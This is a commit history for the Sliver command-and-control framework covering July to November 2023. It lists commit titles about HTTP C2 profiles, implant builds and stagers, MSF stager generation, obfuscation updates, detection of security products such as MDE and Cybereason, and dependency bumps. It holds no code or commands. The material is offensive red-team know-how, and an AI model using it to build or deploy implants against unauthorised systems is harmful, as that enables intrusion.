Compare commits

..
Author SHA1 Message Date
moloch-- b3429f5f88 Fix err nil deref 2023-11-18 13:31:47 -07:00
moloch-- 04d8d2aac7 Add missing builder permissions 2023-11-18 12:39:34 -07:00
moloch-- b71759f3b2 Add basic methods 2023-11-18 12:33:06 -07:00
moloch-- 13c68a7f50 Implement method checks 2023-11-18 12:27:39 -07:00
moloch-- 1f894f50ff Add permissions to operator config 2023-11-18 12:14:33 -07:00
moloch-- 33ea66de58 Add production 'slim' Docker stage 2023-11-18 10:19:14 -07:00
moloch-- 9a432f583d Add missing libs to docker test 2023-11-18 10:09:32 -07:00
moloch-- cbcd948c83 Add comments to Dockerfile 2023-11-18 09:24:21 -07:00
Joe 2ada8bf8ed Merge pull request #1465 from BishopFox/vendor/ssh
Update ssh and garble
2023-11-18 08:16:16 -08:00
moloch-- 02a4657d14 Additional tweaks to dockerfile 2023-11-18 08:53:46 -07:00
Joe b7cef9a07c Merge branch 'master' into vendor/ssh 2023-11-18 07:06:53 -08:00
moloch-- 49606ba753 Update ssh and garble 2023-11-18 07:49:03 -07:00
Joe 116431a049 Merge pull request #1421 from BishopFox/upload-dir
Adding the ability to upload directories
2023-11-17 10:03:09 -08:00
Joe ae5ac2af0f Merge branch 'master' into upload-dir 2023-11-17 09:34:45 -08:00
Joe b03c2ca6cd Merge pull request #1464 from BishopFox/vendor/gorilla
Update deps
2023-11-16 17:55:34 -08:00
Joe 6a4276e1e2 Merge pull request #1463 from BishopFox/http/default-config
Update default http c2 config
2023-11-16 17:55:17 -08:00
moloch-- c7358f8e63 Remove uneeded rand seeding 2023-11-16 18:32:54 -07:00
moloch-- de2fb65ee0 Improve cert randomization 2023-11-16 18:28:48 -07:00
moloch-- c52ca054a0 Update default http c2 config 2023-11-16 18:22:50 -07:00
moloch-- ffdbaba982 Update default http c2 config 2023-11-16 18:17:04 -07:00
moloch-- d23d814368 Update deps 2023-11-16 17:20:33 -07:00
Joe a57a67b6e0 Merge pull request #1461 from BishopFox/vendor/sqlite
Update sqlite deps
2023-11-16 15:59:35 -08:00
Joe 79b2b9da1f Merge branch 'master' into vendor/sqlite 2023-11-16 15:36:31 -08:00
moloch-- e0a3114692 Update sqlite deps 2023-11-16 16:35:34 -07:00
Joe 4bbe8f0976 Merge pull request #1460 from BishopFox/vendor/wg
Update Wireguard Deps
2023-11-16 15:31:02 -08:00
Joe 699b9bbe9b Merge pull request #1378 from BishopFox/fix/kill
Fix kill for sessions
2023-11-16 15:14:31 -08:00
moloch-- a6b583f538 Re-add forwarding to custom netstack 2023-11-16 15:57:49 -07:00
moloch-- 2ac22d137a Re-add custom netstack 2023-11-16 15:43:28 -07:00
moloch-- 579252f531 Downgrade x/crypo/ssh to v0.13.0 2023-11-16 15:24:01 -07:00
moloch-- 6558d53cc0 Update implant crypto/ssh 2023-11-16 14:40:44 -07:00
moloch-- d364f30ce6 Update crypto/ssh 2023-11-16 14:20:42 -07:00
moloch-- 499df6f923 Use upstream netstack 2023-11-16 14:09:39 -07:00
moloch-- 5a3053fe7a Use go branch of gvisor 2023-11-16 13:44:30 -07:00
moloch-- 9d08e4ca9f Update implant wireguard, tailscale, and gvisor 2023-11-16 13:31:46 -07:00
moloch-- ed9d8274f8 Update wireguard, tailscale, and gvisor 2023-11-16 13:20:38 -07:00
moloch-- 5efd05fcdf Switch to slim image for prod 2023-11-16 11:41:49 -07:00
moloch-- 9e95f3dbdc Specify container platform 2023-11-16 11:24:01 -07:00
Joe 3bbd4a230e Merge pull request #1458 from bman46/docker-optimization
Optimize Dockerfile
2023-11-16 09:25:35 -08:00
Joe ee2a72ff5f Merge branch 'master' into fix/kill 2023-11-16 07:30:29 -08:00
Joe 86507dc5c5 Merge pull request #1459 from BishopFox/fix_external_build
adapt external builds to support http c2 configuration and new build …
2023-11-16 07:29:36 -08:00
Tim Makram Ghatas d2b43ebb9f adapt external builds to support http c2 configuration and new build system 2023-11-15 23:46:28 +01:00
Joe 29dde09bdc Merge branch 'master' into docker-optimization 2023-11-14 11:51:36 -08:00
Joe 3a0ce8b890 Merge pull request #1402 from BishopFox/cc07dependabot/github_actions/actions/checkout-4
Bump actions/checkout from 3 to 4
2023-11-14 11:51:21 -08:00
Joe 623579affb Merge branch 'master' into cc07dependabot/github_actions/actions/checkout-4 2023-11-14 11:50:18 -08:00
Joe 632eacf3fd Merge pull request #1457 from BishopFox/allow_selective_staging
Allow selective staging
2023-11-14 11:49:55 -08:00
Brendan McShane ce6402a5d8 Fix comment 2023-11-14 10:57:33 -05:00
Brendan McShane 6da2209509 Update docker file 2023-11-14 10:57:33 -05:00
Joe 6918743f03 Merge branch 'master' into allow_selective_staging 2023-11-14 07:55:35 -08:00
Joe 5d333af798 Merge pull request #1456 from BishopFox/fix_profile_update
allow profile updates
2023-11-14 07:55:22 -08:00
Tim Makram Ghatas 68cddc1de2 Merge branch 'master' into allow_selective_staging 2023-11-13 23:54:47 +01:00
Tim Makram Ghatas c681fa68f3 Merge branch 'master' into fix_profile_update 2023-11-13 23:54:19 +01:00
Tim Makram Ghatas 8a04d8d882 removed unused http staging code and http stage flag. Added a new subcommand to implants, stage that allows to select which builds to exposed externally. ImplantBuilds now have a stage field marking whether they are available externally or not. 2023-11-13 23:53:05 +01:00
Joe b973e286cb Merge pull request #1455 from BishopFox/go/v1.21.4
Go/v1.21.4
2023-11-13 13:59:40 -08:00
Tim Makram Ghatas 49f9cf0963 Merge branch 'master' into fix_profile_update 2023-11-13 22:37:33 +01:00
Tim Makram Ghatas 5ffdcf8a7a allow profile updates 2023-11-13 22:36:07 +01:00
Joe 01656894ee Merge branch 'master' into go/v1.21.4 2023-11-13 11:16:10 -08:00
Joe d994f76920 Merge pull request #1454 from BishopFox/v1.6.0/http-c2
V1.6.0/http c2
2023-11-13 11:15:37 -08:00
Tim Makram Ghatas 6e40fcdf91 fix binary generation tests 2023-11-13 19:31:59 +01:00
Tim Makram Ghatas b6df1e2981 update go.mod and update WGImplantPrivKey reference to build object 2023-11-13 18:23:06 +01:00
moloch-- 56b84e44f3 Update makefile to require go 1.21.x 2023-11-10 18:36:40 -07:00
moloch-- 96896a7442 Go 1.21.4 2023-11-10 18:33:10 -07:00
moloch-- ac9b293942 Fix website pkg tests and MapContent, refactor naming 2023-11-10 16:53:11 -07:00
moloch-- ebf68f6b61 Fix println, dropped err 2023-11-10 16:27:21 -07:00
Tim Makram Ghatas e25e228f5c remove server side imports from utils package 2023-11-10 23:47:53 +01:00
Tim Makram Ghatas b84092b24b renamed resourceIDs 2023-11-10 23:34:12 +01:00
moloch-- eddfa20684 Move minisign to util/ 2023-11-10 15:31:35 -07:00
moloch-- 21468a6310 Duplicate minisign dep to client/ 2023-11-10 15:22:04 -07:00
Ronan Kervella 8c1194283b Merge branch 'master' into upload-dir 2023-11-10 14:05:05 -08:00
Tim Makram Ghatas 48d7e7217c add option to save stage to disk 2023-11-10 22:39:26 +01:00
Tim Makram Ghatas a19fddfdba merge master 2023-11-10 22:36:04 +01:00
Ronan Kervella f944d24dc3 Merge pull request #1453 from D00Movenok/fix/implant_macos_proxy_log
Fix: removed implant macos and generic proxy logs when debug is disabled
2023-11-10 13:01:56 -08:00
D00Movenok 917586f2cc fix: removed implant macos and generic proxy logs when debug is disabled 2023-11-10 23:19:31 +03:00
Tim Makram Ghatas 4e56c69cfe implants now also display whether compression/encryption was used in display 2023-11-09 18:13:30 +01:00
Tim Makram Ghatas e6487fb01d implants command now displays resource id's 2023-11-09 17:16:00 +01:00
Tim Makram Ghatas d88011e140 remove http/s stage listeners 2023-11-09 16:44:15 +01:00
Tim Makram Ghatas 2c5c3ac997 Move stage generation server side and add a new subcommand for profiles to generate them 2023-11-09 01:41:14 +01:00
Tim Makram Ghatas 9178f6ea5b move keys to implant build (WG, MTLS and ECC) 2023-11-08 17:29:22 +01:00
Raf 8ebd7da9a8 Merge branch 'master' into upload-dir 2023-11-08 08:15:02 -05:00
Tim Makram Ghatas a691484f47 fix config reuse bug and duplicate c2 object creation 2023-11-07 01:08:37 +01:00
Tim Makram Ghatas 3442599ee8 add missing field in implantconfig protobuf 2023-11-06 14:26:16 +01:00
Tim Makram Ghatas d3f40963e3 fixed missing implant config id bug 2023-11-05 00:17:44 +01:00
Tim Makram Ghatas c83a0447b3 allow disabling http payload staging 2023-11-04 23:41:01 +01:00
Joe daaf6e27a2 Merge pull request #1447 from alrs/info-cmd-err
client/command/info: fix dropped errors
2023-11-03 08:59:21 -07:00
Joe 9d1fa0d016 Merge pull request #1445 from BishopFox/fix-1444
Fixing issue with User Agent in Implant Generation
2023-11-03 08:53:29 -07:00
Lars Lehtonen a13d63ee47 client/command/info: fix dropped errors
Signed-off-by: Lars Lehtonen <[email protected]>
2023-11-03 06:04:22 -07:00
Raf 4da9233563 Merge branch 'master' into fix-1444 2023-11-03 06:51:28 -04:00
Joe 16db6033a5 Merge pull request #1446 from luca994/fix-minpath-httpconf
Fixed min_path and max_path settings on http profile customization
2023-11-02 15:48:06 -07:00
Raf c1d1bf7873 Blocking backticks from user agent strings in the config so that we can support other characters that would normally need to be escaped. 2023-11-02 13:29:39 -04:00
Luca 3217ab53fe Fixed min_path and max_path settings on http profile customization 2023-11-02 16:55:41 +01:00
Raf d46e43dbd6 Changing the user agent declaration to use a different template that allows for other characters that would have to be escaped 2023-11-02 10:48:20 -04:00
Raf 070bac1bf3 Fixing issue #1444: making User Agent a string literal in generation code 2023-11-01 12:52:42 -04:00
Raf a511af6fd2 Merge branch 'master' into upload-dir 2023-11-01 10:52:23 -04:00
Raf 97a22bb8eb Merging master into this branch and making some tweaks to upload. 2023-11-01 10:38:34 -04:00
Tim Makram Ghatas 9a63b64a39 remove implant builds when implant profiles are removed 2023-10-31 18:24:54 +01:00
Joe 9894d79dbf Merge pull request #1443 from BishopFox/1684dependabot/go_modules/google.golang.org/grpc-1.59.0
Bump google.golang.org/grpc from 1.56.1 to 1.59.0
2023-10-31 09:58:21 -07:00
Tim Makram Ghatas 4b0190b08c check implant exists before freeing up resources 2023-10-31 17:36:38 +01:00
dependabot[bot] 80dea74d97 Bump google.golang.org/grpc from 1.56.1 to 1.59.0
Bumps [google.golang.org/grpc](https://github.com/grpc/grpc-go) from 1.56.1 to 1.59.0.
- [Release notes](https://github.com/grpc/grpc-go/releases)
- [Commits](https://github.com/grpc/grpc-go/compare/v1.56.1...v1.59.0)

---
updated-dependencies:
- dependency-name: google.golang.org/grpc
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-10-31 15:29:09 +00:00
Joe db5d12d4b6 Merge pull request #1425 from BishopFox/ac46dependabot/go_modules/tailscale.com-1.50.1
Bump tailscale.com from 1.44.0 to 1.50.1
2023-10-31 08:26:27 -07:00
Joe 1c4503c1cc Merge branch 'master' into ac46dependabot/go_modules/tailscale.com-1.50.1
Signed-off-by: Joe <[email protected]>
2023-10-31 07:47:00 -07:00
Joe 13fb854b4e Merge pull request #1407 from BishopFox/heads-and-tails
Head and Tail commands
2023-10-31 07:46:30 -07:00
Raf d0574ffe48 Merge branch 'heads-and-tails' of ssh://github.com/BishopFox/sliver into heads-and-tails 2023-10-31 09:42:24 -04:00
Raf ba6b53d569 Merge branch 'master' into heads-and-tails 2023-10-31 09:40:55 -04:00
Tim Makram Ghatas 749c3b9247 fixed profile removal crash and automatically delete profile implantconfig 2023-10-31 12:46:12 +01:00
Tim Makram Ghatas 79ca1c9f72 update protobuf definitions for generate stage rpc call 2023-10-31 12:21:01 +01:00
Tim Makram Ghatas 7a6f2c3b53 resource id's no longer need to be prime 2023-10-31 11:59:17 +01:00
Joe e4ade4e8c9 Merge pull request #1440 from alrs/filesystem-cmd-err
client/command/filesystem: fix dropped error
2023-10-26 16:10:17 -07:00
Joe f4beecdc8a Merge branch 'master' into filesystem-cmd-err
Signed-off-by: Joe <[email protected]>
2023-10-26 08:38:32 -07:00
Joe 78627a6eff Merge pull request #1437 from testwill/ioutil
chore: remove refs to deprecated io/ioutil
2023-10-25 18:35:16 -07:00
Joe 77f2b7fd48 Merge branch 'master' into ioutil
Signed-off-by: Joe <[email protected]>
2023-10-25 16:37:55 -07:00
Lars Lehtonen 6f043f8406 client/command/filesystem: fix dropped error
Signed-off-by: Lars Lehtonen <[email protected]>
2023-10-24 15:14:47 -07:00
Tim Makram Ghatas 9870c254f6 remove save stager rpc call 2023-10-24 23:48:32 +02:00
Tim Makram Ghatas 99281bad0f removed name from implantconfig, implant names are only tied to builds 2023-10-24 23:41:37 +02:00
Tim Makram Ghatas 02d1eb5ba4 refactored generate rpc 2023-10-24 20:44:43 +02:00
Tim Makram Ghatas fce86738cc fix incorrect object reference error 2023-10-24 20:40:14 +02:00
Tim Makram Ghatas b723194931 fix implant config generation for stagers 2023-10-23 00:57:10 +02:00
Tim Makram Ghatas 7dc631077a renamed db functions for consistency 2023-10-22 21:30:16 +02:00
Tim Makram Ghatas e204247009 move implantbuild models to protobuf struct 2023-10-22 21:02:00 +02:00
Tim Makram Ghatas 504e5c7b32 check port is not in use before spawning listener 2023-10-22 17:47:39 +02:00
Tim Makram Ghatas fdec3cb317 Started moving all use of models.* structs to the models and helpers file. The goal of this commit is to eventually only use protobuf accross the entire project, in order to avoid mixing different structs for the same datatype accross the codebase. This also will allow switching backend if the project eventually moves away from an sql backend. 2023-10-22 15:37:21 +02:00
Ronan Kervella b7d0dcc5dd Merge pull request #1422 from BishopFox/grep
Adding the grep command
2023-10-20 10:23:46 -07:00
guoguangwu 0b7596373a fix: typo
Signed-off-by: guoguangwu <[email protected]>
2023-10-20 09:04:54 +08:00
Ronan Kervella 6b88a01fad Merge branch 'master' into upload-dir 2023-10-19 15:31:56 -07:00
Ronan Kervella d58c7b3bca Merge branch 'master' into heads-and-tails 2023-10-19 15:15:03 -07:00
Ronan Kervella c23a542233 Merge branch 'master' into grep 2023-10-19 15:12:56 -07:00
guoguangwu 5b415c5aa1 chore: remove refs to deprecated io/ioutil
Signed-off-by: guoguangwu <[email protected]>
2023-10-19 20:06:45 +08:00
Tim Makram Ghatas 6c77151b80 started moving c2profile to only use protobuf, fixed bug in http mainhandler and c2profile command now also displays poll extension 2023-10-17 00:52:13 +02:00
dependabot[bot] 5e7507ba4d Bump tailscale.com from 1.44.0 to 1.50.1
Bumps [tailscale.com](https://github.com/tailscale/tailscale) from 1.44.0 to 1.50.1.
- [Release notes](https://github.com/tailscale/tailscale/releases)
- [Commits](https://github.com/tailscale/tailscale/compare/v1.44.0...v1.50.1)

---
updated-dependencies:
- dependency-name: tailscale.com
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-10-16 16:04:58 +00:00
Joe 06d5a934be Merge pull request #1431 from BishopFox/35abdependabot/go_modules/golang.org/x/net-0.17.0
Bump golang.org/x/net from 0.11.0 to 0.17.0
2023-10-16 09:03:18 -07:00
Joe e804605d05 Merge pull request #1432 from BishopFox/go/v1.21.3
Go 1.21.3
2023-10-16 08:55:20 -07:00
Joe 35eac6f582 Merge branch 'master' into grep 2023-10-16 07:02:11 -07:00
Tim Makram Ghatas ff382e4029 Refactor websites to only use protobuf objects 2023-10-15 22:13:16 +02:00
Joe 5a5e8d2a04 Merge pull request #1420 from ssepi0l-pv/patch-1
Update install
2023-10-15 06:39:07 -07:00
Tim Makram Ghatas 05a69474e5 modify backend to server arbitrary stages for a given implant configuration 2023-10-15 08:22:49 +02:00
moloch-- 4516e4994d Garble v1.21.3 2023-10-13 16:24:34 +02:00
ssepi0l-pv 843e287f0c Merge branch 'master' into patch-1 2023-10-13 09:36:50 -03:00
Tim Makram Ghatas 47f19d477d switch to referencing builds by resource ID instead of profiles in staging requests and prepare rpc call to save stager builds 2023-10-13 12:01:07 +02:00
moloch-- aee2f78718 Go 1.21.3 2023-10-12 15:21:04 +02:00
dependabot[bot] 2edb14baa1 Bump golang.org/x/net from 0.11.0 to 0.17.0
Bumps [golang.org/x/net](https://github.com/golang/net) from 0.11.0 to 0.17.0.
- [Commits](https://github.com/golang/net/compare/v0.11.0...v0.17.0)

---
updated-dependencies:
- dependency-name: golang.org/x/net
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-10-11 22:50:09 +00:00
Ronan Kervella a2208280a0 Merge pull request #1430 from alrs/console-err
client/console: fix dropped error
2023-10-11 12:06:27 -07:00
Lars Lehtonen 0834b725fd client/console: fix dropped error 2023-10-11 09:44:18 -07:00
Tim Makram Ghatas a0fa261e32 display profile nonce 2023-10-08 21:03:08 +02:00
Tim Makram Ghatas c578c426dc fix stager listener url generationerror 2023-10-08 21:02:47 +02:00
Tim Makram Ghatas da9b72c72c modify stagerhandler to serve valid profile (without stage-listener mods) when the correct stager id is used as a nonce 2023-10-08 20:13:16 +02:00
Tim Makram Ghatas cb8170c27b change naming and type of encoder id's 2023-10-06 16:42:38 +02:00
Tim Makram Ghatas 03cfab5276 Merge branch 'master' into v1.6.0/http-c2 2023-10-06 16:16:38 +02:00
Tim Makram Ghatas 114ad3e6a1 remove resource id on profile deletion 2023-10-06 16:10:41 +02:00
Tim Makram Ghatas 3d6a8dda52 switch to uin64[] instead of int[] 2023-10-06 15:47:41 +02:00
Tim Makram Ghatas ea1fbf1d74 save implant id to profile during profile creation 2023-10-06 12:06:25 +02:00
Tim Makram Ghatas 49b8cd299a embed encoder id's during code rendering 2023-10-06 11:48:13 +02:00
Tim Makram Ghatas b8dcf756f7 generate encoder id's on server setup for backend 2023-10-06 11:04:08 +02:00
Tim Makram Ghatas 0b9d7cc603 added resource id queries and save 2023-10-04 23:02:05 +02:00
Tim Makram Ghatas 3ba3cf1177 create resourceID table 2023-10-04 22:56:28 +02:00
Raf 7747df7b96 Addressing potential zip slip issue, fixing bug when uploading directories without a filter 2023-10-04 11:11:49 -04:00
Raf 9c87c59ec6 grep: Print error messages from files that could not be read 2023-10-04 10:37:56 -04:00
Raf dd249088c3 Adding the client implementation for grep 2023-10-04 10:28:54 -04:00
Raf 914354222d Adding the grep command 2023-10-04 10:28:39 -04:00
Raf efe747b8aa Adding the ability to upload directories 2023-10-04 10:13:04 -04:00
ssepi0l-pv 369406928c Update install
Hello!
I wanted to commit these changes because I'd love to see official support for Arch Linux. I modified this script and installed Sliver on my system using it, so I know it works. Nevertheless, please do check it and try it yourselves! :)

Signed-off-by: ssepi0l-pv <[email protected]>
2023-10-04 09:40:47 -03:00
Tim Makram Ghatas f6ac166314 display c2 profile in profile details 2023-10-03 14:22:06 +02:00
Tim Makram Ghatas 3da9ffb7d3 added c2 profile flag to profile creation 2023-10-03 14:19:38 +02:00
Tim Makram Ghatas 01c813148b added watchtower configuration import/deletion/view 2023-09-29 13:32:30 +02:00
Tim Makram Ghatas 7fce95e707 allow overwriting c2 profiles on the fly 2023-09-28 18:19:11 +02:00
Joe 71ba959e12 Merge branch 'master' into heads-and-tails 2023-09-27 10:50:00 -07:00
Joe 5d40d41105 Merge pull request #1416 from BishopFox/e20adependabot/go_modules/github.com/klauspost/compress-1.17.0
Bump github.com/klauspost/compress from 1.16.6 to 1.17.0
2023-09-27 10:49:15 -07:00
Tim Makram Ghatas 237663be19 move job restart on profile import client side 2023-09-26 00:13:08 +02:00
Tim Makram Ghatas 96a6efae07 restart http/s listeners on c2 profile import 2023-09-25 12:35:02 +02:00
dependabot[bot] 3561461547 Bump github.com/klauspost/compress from 1.16.6 to 1.17.0
Bumps [github.com/klauspost/compress](https://github.com/klauspost/compress) from 1.16.6 to 1.17.0.
- [Release notes](https://github.com/klauspost/compress/releases)
- [Changelog](https://github.com/klauspost/compress/blob/master/.goreleaser.yml)
- [Commits](https://github.com/klauspost/compress/compare/v1.16.6...v1.17.0)

---
updated-dependencies:
- dependency-name: github.com/klauspost/compress
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-09-25 03:49:33 +00:00
Joe 1d9d5cf85a Merge branch 'master' into cc07dependabot/github_actions/actions/checkout-4 2023-09-20 20:34:14 -07:00
Tim Makram Ghatas e70a022981 add check for duplicate stager extension and duplicate c2 profile name 2023-09-18 22:07:44 +02:00
Ronan Kervella b0c3549b08 Merge branch 'master' into fix/kill 2023-09-18 12:51:41 -07:00
Tim Makram Ghatas d924d80ddb added dropdown to choose c2 profile 2023-09-18 21:08:59 +02:00
Joe b3acf2db1f Merge branch 'master' into heads-and-tails 2023-09-17 07:59:40 -07:00
Joe a670538a77 Merge pull request #1409 from BishopFox/download-filter-fix
Fix filters in the download command
2023-09-17 07:59:28 -07:00
Raf d6ea4794b7 Removed a check from the implant download code that broke filters 2023-09-15 09:10:42 -04:00
Tim Makram Ghatas 7b67ec872e save profile to database on import 2023-09-14 23:51:59 +02:00
Raf a2bbaa095e Fixing typo in tail command help 2023-09-14 12:05:20 -04:00
Tim Makram Ghatas e5a01ae244 moved c2profile struct to client assets 2023-09-14 17:31:55 +02:00
Tim Makram Ghatas 4bcefdddb5 fix circular dependency 2023-09-14 17:24:54 +02:00
Raf 8e64ab288d Adding the head and tail commands, fixing a small issue with download 2023-09-14 10:32:54 -04:00
Tim Makram Ghatas 1bba3532af fix profile parsing errors 2023-09-13 20:09:37 +02:00
Tim Makram Ghatas 002e38e0ac Merge branch 'master' into v1.6.0/http-c2 2023-09-13 19:18:23 +02:00
Tim Makram Ghatas 99817a5f35 implemented c2 profile import and display 2023-09-13 19:11:24 +02:00
Tim Makram Ghatas 4921fa4fcf display implant c2 profile in implants command 2023-09-13 14:35:57 +02:00
dependabot[bot] b044a4584b Bump actions/checkout from 3 to 4
Bumps [actions/checkout](https://github.com/actions/checkout) from 3 to 4.
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/checkout/compare/v3...v4)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-09-11 03:13:23 +00:00
Tim Makram Ghatas eccc31f945 fix regression, http listener now uses correct port, and http headers are set when an associated profile can be found 2023-09-07 23:53:33 +02:00
Tim Makram Ghatas f2b42211d2 remove error handling statement 2023-09-06 14:54:10 +02:00
Tim Makram Ghatas b1ba761fff update handler to select session cookie based on profile 2023-09-04 23:36:18 +02:00
Tim Makram Ghatas 580d5128ba added main request handler for http profiles 2023-09-04 23:22:56 +02:00
Tim Makram Ghatas 67c519e8d6 add autocomplete for c2profile parameter during generation 2023-09-04 21:51:33 +02:00
Tim Makram Ghatas 4f9851215e merged master into branch 2023-09-04 20:41:33 +02:00
Joe f32d9a91ee Merge pull request #1399 from SpadesA99/SpadesA99-patch-1
Fix the process handle leak when using ps command on Windows
2023-09-01 09:28:50 -05:00
SpadesA99 f9c5daec39 Fix the process handle leak when using ps command on Windows
Signed-off-by: SpadesA99 <[email protected]>
2023-09-01 10:18:45 +08:00
Ronan Kervella f623b0cdce Merge pull request #1398 from realalexandergeorgiev/realalexandergeorgiev-patch-2
Update ps.go
2023-08-31 08:44:35 -07:00
Alexander Georgiev 9b5d4c3bab Update ps.go
Added more MDE processes

Signed-off-by: Alexander Georgiev <[email protected]>
2023-08-31 15:13:53 +02:00
Tim Makram Ghatas 29c2c9df76 merge master into branch 2023-08-30 19:19:50 +02:00
Tim Makram Ghatas 58b4596598 merged 1.6 master into branch 2023-08-30 14:34:47 +02:00
Joe a9f885a919 Merge pull request #1382 from BishopFox/go/v1.21.0
Go v1.21.0
2023-08-09 19:02:52 -05:00
moloch-- 5a532f77dc Go v1.21.0 2023-08-09 15:58:36 -07:00
Joe 375f6fd235 Merge pull request #1381 from BishopFox/cybereason
Added Cybereason ActiveProbe to known processes
2023-08-09 15:45:24 -05:00
c2biz 0a32ca109d Added Cybereason ActiveProbe to known processes 2023-08-09 16:01:03 -04:00
Joe d048427ebf Merge pull request #1284 from rwincey/notxt_dns
Notxt dns
2023-08-08 18:37:58 -05:00
Joe d22579c204 Merge pull request #1374 from BishopFox/mtls/lencheck
Add basic len check to mtls conn
2023-08-08 18:37:29 -05:00
Ronan Kervella fb5bd84811 Merge branch 'master' into fix/kill 2023-08-08 11:14:23 -07:00
Joe 1e79af3d89 Merge pull request #1375 from BishopFox/87c0dependabot/go_modules/github.com/tetratelabs/wazero-1.3.1
Bump github.com/tetratelabs/wazero from 1.2.1 to 1.3.1
2023-08-08 12:09:15 -05:00
Joe f018f86522 Merge branch 'master' into 87c0dependabot/go_modules/github.com/tetratelabs/wazero-1.3.1 2023-08-08 12:08:58 -05:00
Joe 584cacb7da Merge pull request #1377 from TheDuchy/master
Add the ability to generate .exe MSF stagers from Sliver
2023-08-08 12:08:13 -05:00
Ronan Kervella 714ab96270 Merge branch 'master' into mtls/lencheck 2023-08-08 09:59:30 -07:00
rkervella ae8444fc75 fix kill for sessions 2023-08-08 09:28:52 -07:00
duchy c7a2bbc46b Added ability to generate .exe stagers from MSF 2023-08-08 13:26:27 +02:00
dependabot[bot] 4458911e5c Bump github.com/tetratelabs/wazero from 1.2.1 to 1.3.1
Bumps [github.com/tetratelabs/wazero](https://github.com/tetratelabs/wazero) from 1.2.1 to 1.3.1.
- [Release notes](https://github.com/tetratelabs/wazero/releases)
- [Commits](https://github.com/tetratelabs/wazero/compare/v1.2.1...v1.3.1)

---
updated-dependencies:
- dependency-name: github.com/tetratelabs/wazero
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-08-07 03:50:35 +00:00
Joe 477df0eac9 Merge pull request #1335 from BishopFox/b6e0dependabot/go_modules/golang.org/x/crypto-0.11.0
Bump golang.org/x/crypto from 0.10.0 to 0.11.0
2023-08-04 15:50:22 -05:00
Joe 22286fdcdd Merge branch 'master' into b6e0dependabot/go_modules/golang.org/x/crypto-0.11.0
Signed-off-by: Joe <[email protected]>
2023-08-04 15:50:13 -05:00
Joe 150b62a0aa Merge pull request #1373 from BishopFox/fix/windows-assets-filepath
Use path.Join for embedded fs instead of filepath.Join
2023-08-04 15:47:44 -05:00
rkervella 270e9f2c5f Use path.Join for embedded fs instead of filepath.Join 2023-08-04 12:59:55 -07:00
Joe ce81ce5de0 Merge pull request #1372 from BishopFox/go/v1.20.7
Go 1.20.7
2023-08-04 09:13:05 -05:00
moloch-- 388b371573 Add basic len check to mtls conn 2023-08-03 17:32:57 -07:00
moloch-- a4425c169e Update go 2023-08-03 17:03:07 -07:00
Joe fd0e54c02c Merge branch 'master' into notxt_dns 2023-08-03 18:57:50 -05:00
Joe 59212f06fd Merge pull request #1339 from BishopFox/e3bddependabot/go_modules/golang.org/x/sys-0.10.0
Bump golang.org/x/sys from 0.9.0 to 0.10.0
2023-08-03 18:57:09 -05:00
Joe 0140bc2b8f Merge branch 'master' into e3bddependabot/go_modules/golang.org/x/sys-0.10.0 2023-08-03 18:56:54 -05:00
Ronan Kervella 4faaa4c075 Merge pull request #1368 from SpadesA99/master
Fix CP command file occupation
2023-08-01 18:51:13 -07:00
SpadesA99 ef1e12e6d4 Fix CP command file occupation
Signed-off-by: SpadesA99 <[email protected]>
2023-08-01 18:04:31 +08:00
Ronan Kervella 7741b0373f Merge branch 'master' into notxt_dns 2023-07-28 11:09:44 -07:00
Joe 4f2767ab59 Merge pull request #1356 from rarFood/master
fix 'gpg: invalid armor header'
2023-07-23 17:18:53 -05:00
rarFood 68f78e791f fix 'gpg: invalid armor header' 2023-07-21 11:21:05 -04:00
Ronan Kervella d28bac4259 Merge branch 'master' into e3bddependabot/go_modules/golang.org/x/sys-0.10.0 2023-07-19 08:35:23 -07:00
Ronan Kervella 00197deefb Merge branch 'master' into b6e0dependabot/go_modules/golang.org/x/crypto-0.11.0 2023-07-19 08:33:47 -07:00
Ronan Kervella 0bfbe9ecd4 Merge pull request #1350 from n3rada/install_script
Enhance the `install` script
2023-07-19 08:27:30 -07:00
Joe 88ac55a2f7 Merge branch 'master' into install_script 2023-07-16 08:19:40 -05:00
Ronan Kervella a1c19bc745 Merge pull request #1352 from xinhuang/pr/no-http-fallback-master
Add option to disable connect to tcp/80 when tcp/443 not reachable
2023-07-13 11:24:20 -07:00
Xin Huang 5a39e253bb Add no-fallback=true parameter for https beacons so they won't connect to TCP 80 if TCP 443 isn't reachable 2023-07-14 01:08:47 +09:00
n3rada 3b8912df4f Enhance the install script 2023-07-13 00:04:29 +02:00
Ronan Kervella 452ce12e9f Merge pull request #1346 from Paradoxis/feature/added-copy-command
Added a copy file command
2023-07-12 10:34:03 -07:00
Ronan Kervella aed28b0ff1 Merge branch 'master' into feature/added-copy-command 2023-07-12 09:21:18 -07:00
Ronan Kervella a2c3263619 Merge pull request #1345 from BishopFox/fix/pstree-1.6
Fix pstree (v1.6)
2023-07-12 08:49:33 -07:00
Paradoxis 300c2f7851 Titlecased copy message 2023-07-12 00:06:31 +02:00
Paradoxis b1d41f1032 Added a check to ensure two arguments are passed to CpCmd 2023-07-12 00:01:39 +02:00
Paradoxis 9054d11749 Moved constants to the end 2023-07-12 00:01:30 +02:00
Paradoxis c1f0b32c93 Added a copy file command 2023-07-11 23:55:00 +02:00
Ronan Kervella a3ecf3d593 Merge branch 'master' into fix/pstree-1.6 2023-07-11 14:23:49 -07:00
rkervella 1a43e70fd1 Fix pstree 2023-07-11 12:25:23 -07:00
Ronan Kervella 1fc7d881b2 Merge pull request #1341 from BishopFox/upload-fixes
Upload command: Changes to remote path specification
2023-07-11 08:43:26 -07:00
Raf 27254a2d89 upload: Fixing panic when remote path not specified, allowing for specification of a directory for remote path 2023-07-10 16:49:03 -04:00
dependabot[bot] 19573c9f20 Bump golang.org/x/sys from 0.9.0 to 0.10.0
